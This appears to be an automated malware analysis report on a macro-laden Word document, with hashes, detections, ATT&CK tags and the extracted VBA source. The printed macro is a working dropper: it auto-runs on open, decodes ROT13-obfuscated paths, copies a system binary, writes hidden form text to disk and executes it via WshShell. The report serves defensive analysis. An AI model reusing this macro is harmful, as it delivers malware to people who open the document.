Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 95b992777310a8d7…

MALICIOUS

Office (OOXML)

70.7 KB Created: 2020-08-18 09:50:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 3de3f7cb071682ad22b4e25b2893b0a1 SHA-1: fa7d64dce327a8dabf6b1d8ba27dab413ea67387 SHA-256: 95b992777310a8d71124e13e08df0f29d53428c85bfec6b98c916f8729f7bb1e
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that executes a function named 'main'. The 'main' function appears to deobfuscate and execute a command, likely a PowerShell command based on the presence of 'p,:,,,j,v,a,q,b,j,f,,,f,l,f,g,r,z,3,2,,,z,f,u,g,n,.,r,k,r,' and similar strings which are likely parts of a deobfuscated command. This indicates the document is a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2303 bytes
SHA-256: 4faa3f964ca72c3133ee34ecbef0103450ae7a6a340fbd70d48aee702b893f63
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ajX952"
Function aAHSrR()
aAHSrR = frm.txt.text
End Function
Public Function aZ4NL(aa5nR)
aZ4NL = Replace(aa5nR, aeqV0, "")
End Function
Sub AutoOpen()
main
End Sub
Public Sub a078f(ayksFx)
Set aKlXh = New WshShell
aKlXh.exec ayksFx
End Sub

Attribute VB_Name = "aXZgt"
Public Const akLxu As String = "p,:,\,j,v,a,q,b,j,f,\,f,l,f,g,r,z,3,2,\,z,f,u,g,n,.,r,k,r,"
Public Const avZbjD As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,p,b,z,"
Public Const aD6Et As String = "P,:,\,h,f,r,e,f,\,c,h,o,y,v,p,\,v,a,.,u,g,z,y,"
Public Const aeqV0 As String = ","
Public Function afeCX(aOUZmo, a8eRF)
FileNumber = FreeFile
Open aOUZmo For Output As #FileNumber
Print #FileNumber, Spc(-322 + 387)
Print #FileNumber, a8eRF
Print #FileNumber, Spc(-322 + 387)
Close #FileNumber
End Function
Sub aLdzb(alBPd, ahmXCz)
FileCopy alBPd, ahmXCz
End Sub
Public Function aXlsSk(ByVal anQvG As String, Optional ByVal r As Integer = 13) As String
Dim a8HI1U, ayhKl, a8pVxT As Long
aj2pbI = 26
For a8pVxT = 1 To Len(anQvG)
a8HI1U = Asc(Mid(anQvG, a8pVxT, 1))
If a8HI1U >= 20855 / 215 And a8HI1U <= -59 + 181 Then
ayhKl = 20855 / 215
ElseIf a8HI1U >= 270 - 205 And a8HI1U <= 18 * 5 Then
ayhKl = 270 - 205
Else
GoTo azbGM:
End If
a8HI1U = r + a8HI1U - ayhKl
Do
a8HI1U = a8HI1U Mod aj2pbI
Loop While a8HI1U > (aj2pbI - 1)
a8HI1U = a8HI1U + ayhKl
azbGM:
aXlsSk = aXlsSk & Chr(a8HI1U)
Next a8pVxT
End Function

Attribute VB_Name = "akEwJ"
Sub main()
aauHiw = aXlsSk(aZ4NL(akLxu))
apn6v = aXlsSk(aZ4NL(avZbjD))
as1jSB = aXlsSk(aZ4NL(aD6Et))
aLdzb aauHiw, apn6v
afeCX as1jSB, aXlsSk(aAHSrR)
a078f (apn6v & " " & as1jSB)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{17983FE5-3AB4-40CA-8600-CF5D6388B7EE}{179143C2-7023-4666-94DF-D0CA96AA84E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 48128 bytes
SHA-256: f98292c1db0b540877905cd18677f33df0ac831cfb3622910827e918f702593c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.